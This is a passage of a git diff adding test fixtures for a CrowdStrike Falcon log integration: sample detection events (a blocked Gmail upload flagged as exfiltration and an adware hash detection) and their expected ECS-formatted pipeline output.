+                    "eventType": "DataProtectionDetectionSummaryEvent",
+                    "offset": 689071490,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Test attempted to be uploaded to Google Gmail",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-10-31T07:23:00.000Z",
+                "duration": 0,
+                "end": "2025-10-31T12:50:27.000Z",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressSessionId\":\"abc\",\"SessionStartTimestamp\":1761915027,\"SessionEndTimestamp\":1761915027,\"UserMapped\":true,\"FilesEgressedCount\":12}}",
+                "outcome": "unknown",
+                "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
+                "severity": 99,
+                "start": "2025-10-31T12:50:27.000Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "size": 39
+            },
+            "host": {
+                "name": "DESKTOP-OM905R2",
+                "os": {
+                    "platform": "windows"
+                }
+            },
+            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "DESKTOP-OM905R2"
+                ],
+                "user": [
+                    "Bob"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0010"
+                    ],
+                    "name": [
+                        "Exfiltration"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1567"
+                    ],
+                    "name": [
+                        "Exfiltration Over Web Service"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
+                "name": "Bob"
+            }
+        },
+        {
+            "@timestamp": "2025-10-31T07:23:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0",
+                    "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e",
+                    "ContentPatterns": [
+                        {
+                            "ConfidenceLevel": 3,
+                            "ID": "4392b1416c974a488c31fbc4c97e89f6",
+                            "MatchCount": 1,
+                            "Name": "Credentials"
+                        }
+                    ],
+                    "Destination": {
+                        "Channel": "web"
+                    },
+                    "DetectionType": "rule-based",
+                    "EventTimestamp": "2025-10-31T12:50:27.000Z",
+                    "FileType": {
+                        "Type": {
+                            "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb",
+                            "CategoryName": "Document",
+                            "Description": "Plain Text (txt) File",
+                            "ID": "48a7eca83afa42a78cf12b8f2f877eec",
+                            "Name": "Plain Text"
+                        }
+                    },
+                    "IsClipboard": false,
+                    "MatchedClassification": {
+                        "ID": "8318b19065af48fa839f9259022e5e0a",
+                        "Name": "Test"
+                    },
+                    "MitreAttack": [
+                        {
+                            "Tactic": "Exfiltration",
+                            "TacticID": "TA0010",
+                            "Technique": "Exfiltration Over Web Service",
+                            "TechniqueID": "T1567"
+                        }
+                    ],
+                    "PatternId": "80005",
+                    "RelatedClassifications": [
+                        {
+                            "ID": "8318b19065af48fa839f9259022e5e0a",
+                            "Name": "Test"
+                        }
+                    ],
+                    "ResponseAction": "blocked",
+                    "RuleId": "7d81198e7da846b2a664afccc7f5d9e4",
+                    "Severity": 90,
+                    "SeverityName": "Critical",
+                    "UserNotified": true
+                },
+                "metadata": {
+                    "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70",
+                    "eventType": "DataProtectionDetectionSummaryEvent",
+                    "offset": 689071490,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Test attempted to be uploaded to Google Gmail",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-10-31T07:23:00.000Z",
+                "id": "180d01b9b65811f0a9f0c0892b3c995e",
+                "kind": "alert",
+                "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressEventId\":\"180d01b9b65811f0a9f0c0892b3c995e\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"UserNotified\":true,\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"IsClipboard\":false,\"ContentPatterns\":[{\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"Name\":\"Credentials\",\"ConfidenceLevel\":3,\"MatchCount\":1}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\",\"Description\":\"Plain Text (txt) File\",\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\"}},\"EventTimestamp\":1761915027}}",
+                "outcome": "failure",
+                "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq",
+                "severity": 99,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "extension": "txt",
+                "hash": {
+                    "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
+                },
+                "name": "sensitive_123.txt",
+                "size": 39
+            },
+            "host": {
+                "name": "DESKTOP-OM905R2",
+                "os": {
+                    "platform": "windows"
+                }
+            },
+            "message": "Bob attempted to upload sensitive_123.txt to Google Gmail",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hash": [
+                    "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08"
+                ],
+                "hosts": [
+                    "DESKTOP-OM905R2"
+                ],
+                "user": [
+                    "Bob"
+                ]
+            },
+            "rule": {
+                "id": "a6e6792845654b69a8a89e793421b77a",
+                "name": "Data Protection Policy"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0010"
+                    ],
+                    "name": [
+                        "Exfiltration"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1567"
+                    ],
+                    "name": [
+                        "Exfiltration Over Web Service"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-2123450692-2512345670-1234574870-1234",
+                "name": "Bob"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
new file mode 100644
index 0000000000..a2b9028cc9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
@@ -0,0 +1,197 @@
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 1,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1686845212400,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1686845212400,
+        "ProcessEndTime": 0,
+        "ProcessId": 123123,
+        "ParentProcessId": 321321,
+        "ComputerName": "ELASTICHOST",
+        "UserName": "ELASTICUSER",
+        "DetectName": "NGAV",
+        "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.",
+        "Severity": 2,
+        "SeverityName": "Low",
+        "FileName": "TESTFILE.exe",
+        "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE",
+        "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
+        "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+        "MD5String": "49f30e09200e7b59edc5ef32fbd0442c",
+        "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+        "MachineDomain": "INTERNAL",
+        "NetworkAccesses": [
+            {
+                "AccessType": 0,
+                "AccessTimestamp": 1686845157,
+                "Protocol": "TCP",
+                "LocalAddress": "10.0.0.1",
+                "LocalPort": 53517,
+                "RemoteAddress": "67.43.156.1",
+                "RemotePort": 443,
+                "ConnectionDirection": 0,
+                "IsIPV6": false
+            },
+            {
+                "AccessType": 0,
+                "AccessTimestamp": 1686845158,
+                "Protocol": "TCP",
+                "LocalAddress": "10.0.0.2",
+                "LocalPort": 53518,
+                "RemoteAddress": "67.43.156.1",
+                "RemotePort": 80,
+                "ConnectionDirection": 0,
+                "IsIPV6": false
+            }
+        ],
+        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
+        "SensorId": "sensorid123",
+        "IOCType": "hash_sha256",
+        "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+        "DetectId": "detect::id::test",
+        "LocalIP": "89.160.20.112",
+        "MACAddress": "1c-2d-b3-4a-56-7e",
+        "Tactic": "Malware",
+        "Technique": "PUP",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+        "PatternDispositionValue": 2304,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": false,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": true,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": true,
+            "RegistryOperationBlocked": false,
+            "CriticalProcessDisabled": false,
+            "BootupSafeguardEnabled": false,
+            "FsOperationBlocked": false,
+            "HandleOperationDowngraded": false,
+            "KillActionFailed": false,
+            "BlockingUnsupportedOrDisabled": false,
+            "SuspendProcess": false,
+            "SuspendParent": false
+        },
+        "ParentImageFileName": "",
+        "ParentCommandLine": "",
+        "GrandparentImageFileName": "",
+        "GrandparentCommandLine": "",
+        "HostGroups": "hostgroupsID",
+        "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
+        "PatternId": 5728
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 1,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1686845212400,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1686845212400,
+        "ProcessEndTime": 0,
+        "ProcessId": 123123,
+        "ParentProcessId": 321321,
+        "ComputerName": "ELASTICHOST",
+        "UserName": "ELASTICUSER",
+        "DetectName": "NGAV",
+        "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.",
+        "Severity": 2,
+        "SeverityName": "Low",
+        "FileName": "TESTFILE.exe",
+        "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE",
+        "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
+        "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+        "MD5String": "49f30e09200e7b59edc5ef32fbd0442c",
+        "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+        "MachineDomain": "INTERNAL",
+        "NetworkAccesses": [
+            {
+                "AccessType": 0,
+                "AccessTimestamp": 1686845157,
+                "Protocol": "TCP",
+                "LocalAddress": "10.0.0.1",
+                "LocalPort": 53517,
+                "RemoteAddress": "67.43.156.1",
+                "RemotePort": 443,
+                "ConnectionDirection": 0,
+                "IsIPV6": false
+            },
+            {
+                "AccessType": 0,
+                "AccessTimestamp": 1686845158,
+                "Protocol": "TCP",
+                "LocalAddress": "10.0.0.2",
+                "LocalPort": 53518,
+                "RemoteAddress": "67.43.156.1",
+                "RemotePort": 80,
+                "ConnectionDirection": 0,
+                "IsIPV6": false
+            }
+        ],
+        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
+        "SensorId": "sensorid123",
+        "IOCType": "hash_sha256",
+        "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+        "DetectId": "detect::id::test",
+        "LocalIP": "89.160.20.112",
+        "MACAddress": "1c-2d-b3-4a-56-7e",
+        "Tactic": "Malware",
+        "Technique": "PUP",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+        "PatternDispositionValue": 2304,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": false,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": true,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": true,
+            "RegistryOperationBlocked": false,
+            "CriticalProcessDisabled": false,
+            "BootupSafeguardEnabled": false,
+            "FsOperationBlocked": false,
+            "HandleOperationDowngraded": false,
+            "KillActionFailed": false,
+            "BlockingUnsupportedOrDisabled": false,
+            "SuspendProcess": false,
+            "SuspendParent": false
+        },
+        "ParentImageFileName": "",
+        "ParentCommandLine": "",
+        "GrandparentImageFileName": "",
+        "GrandparentCommandLine": "",
+        "HostGroups": "hostgroupsID",
+        "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
+        "PatternId": 5728,
+        "MitreAttack": [
+            {
+                "Tactic": "Malware",
+                "Technique": "PUP",
+                "PatternID": 5728
+            }
+        ]
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
new file mode 100644
index 0000000000..b65e20b211
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
@@ -0,0 +1,383 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
+                    "HostGroups": [
+                        "hostgroupsID"
+                    ],
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+                    "MACAddress": "1c-2d-b3-4a-56-7e",
+                    "NetworkAccesses": [
+                        {
+                            "AccessTimestamp": 1686845157,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.1",
+                            "LocalPort": 53517,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "67.43.156.1",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1686845158,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.2",
+                            "LocalPort": 53518,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "67.43.156.1",
+                            "RemotePort": 80
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2304,
+                    "PatternId": "5728",
+                    "SensorId": "sensorid123",
+                    "Severity": 2,
+                    "SeverityName": "Low"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 1,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1686845212400,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 123123,\n        \"ParentProcessId\": 321321,\n        \"ComputerName\": \"ELASTICHOST\",\n        \"UserName\": \"ELASTICUSER\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"TESTFILE.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n        \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n        \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n        \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n        \"MachineDomain\": \"INTERNAL\",\n        \"NetworkAccesses\": [\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845157,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.1\",\n                \"LocalPort\": 53517,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 443,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            },\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845158,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.2\",\n                \"LocalPort\": 53518,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 80,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n        \"SensorId\": \"sensorid123\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"DetectId\": \"detect::id::test\",\n        \"LocalIP\": \"89.160.20.112\",\n        \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"PUP\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false,\n            \"HandleOperationDowngraded\": false,\n            \"KillActionFailed\": false,\n            \"BlockingUnsupportedOrDisabled\": false,\n            \"SuspendProcess\": false,\n            \"SuspendParent\": false\n        },\n        \"ParentImageFileName\": \"\",\n        \"ParentCommandLine\": \"\",\n        \"GrandparentImageFileName\": \"\",\n        \"GrandparentCommandLine\": \"\",\n        \"HostGroups\": \"hostgroupsID\",\n        \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n        \"PatternId\": 5728\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "49f30e09200e7b59edc5ef32fbd0442c",
+                    "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+                    "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2"
+                },
+                "name": "TESTFILE.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE"
+            },
+            "host": {
+                "domain": "INTERNAL",
+                "name": "ELASTICHOST"
+            },
+            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
+                    "-Embedding"
+                ],
+                "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
+                "entity_id": "123123",
+                "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
+                "name": "TESTFILE.exe",
+                "parent": {
+                    "entity_id": "321321",
+                    "pid": 321321
+                },
+                "pid": 123123,
+                "start": "2023-06-15T16:06:52.400Z"
+            },
+            "related": {
+                "hash": [
+                    "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+                    "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+                    "49f30e09200e7b59edc5ef32fbd0442c"
+                ],
+                "hosts": [
+                    "ELASTICHOST"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "ELASTICUSER"
+                ]
+            },
+            "rule": {
+                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
+                "id": "detect::id::test",
+                "name": "NGAV"
+            },
+            "source": {
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.112"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "PUP"
+                    ]
+                }
+            },
+            "user": {
+                "name": "ELASTICUSER"
+            }
+        },
+        {
+            "@timestamp": "2023-06-15T16:06:52.400Z",
+            "crowdstrike": {
+                "event": {
+                    "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
+                    "HostGroups": [
+                        "hostgroupsID"
+                    ],
+                    "IOCType": "hash_sha256",
+                    "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+                    "MACAddress": "1c-2d-b3-4a-56-7e",
+                    "MitreAttack": [
+                        {
+                            "PatternID": "5728",
+                            "Tactic": "Malware",
+                            "Technique": "PUP"
+                        }
+                    ],
+                    "NetworkAccesses": [
+                        {
+                            "AccessTimestamp": 1686845157,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.1",
+                            "LocalPort": 53517,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "67.43.156.1",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1686845158,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.2",
+                            "LocalPort": 53518,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "67.43.156.1",
+                            "RemotePort": 80
+                        }
+                    ],
+                    "Objective": "Falcon Detection Method",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": true,
+                        "ProcessBlocked": true,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternDispositionValue": 2304,
+                    "PatternId": "5728",
+                    "SensorId": "sensorid123",
+                    "Severity": 2,
+                    "SeverityName": "Low"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "DetectionSummaryEvent",
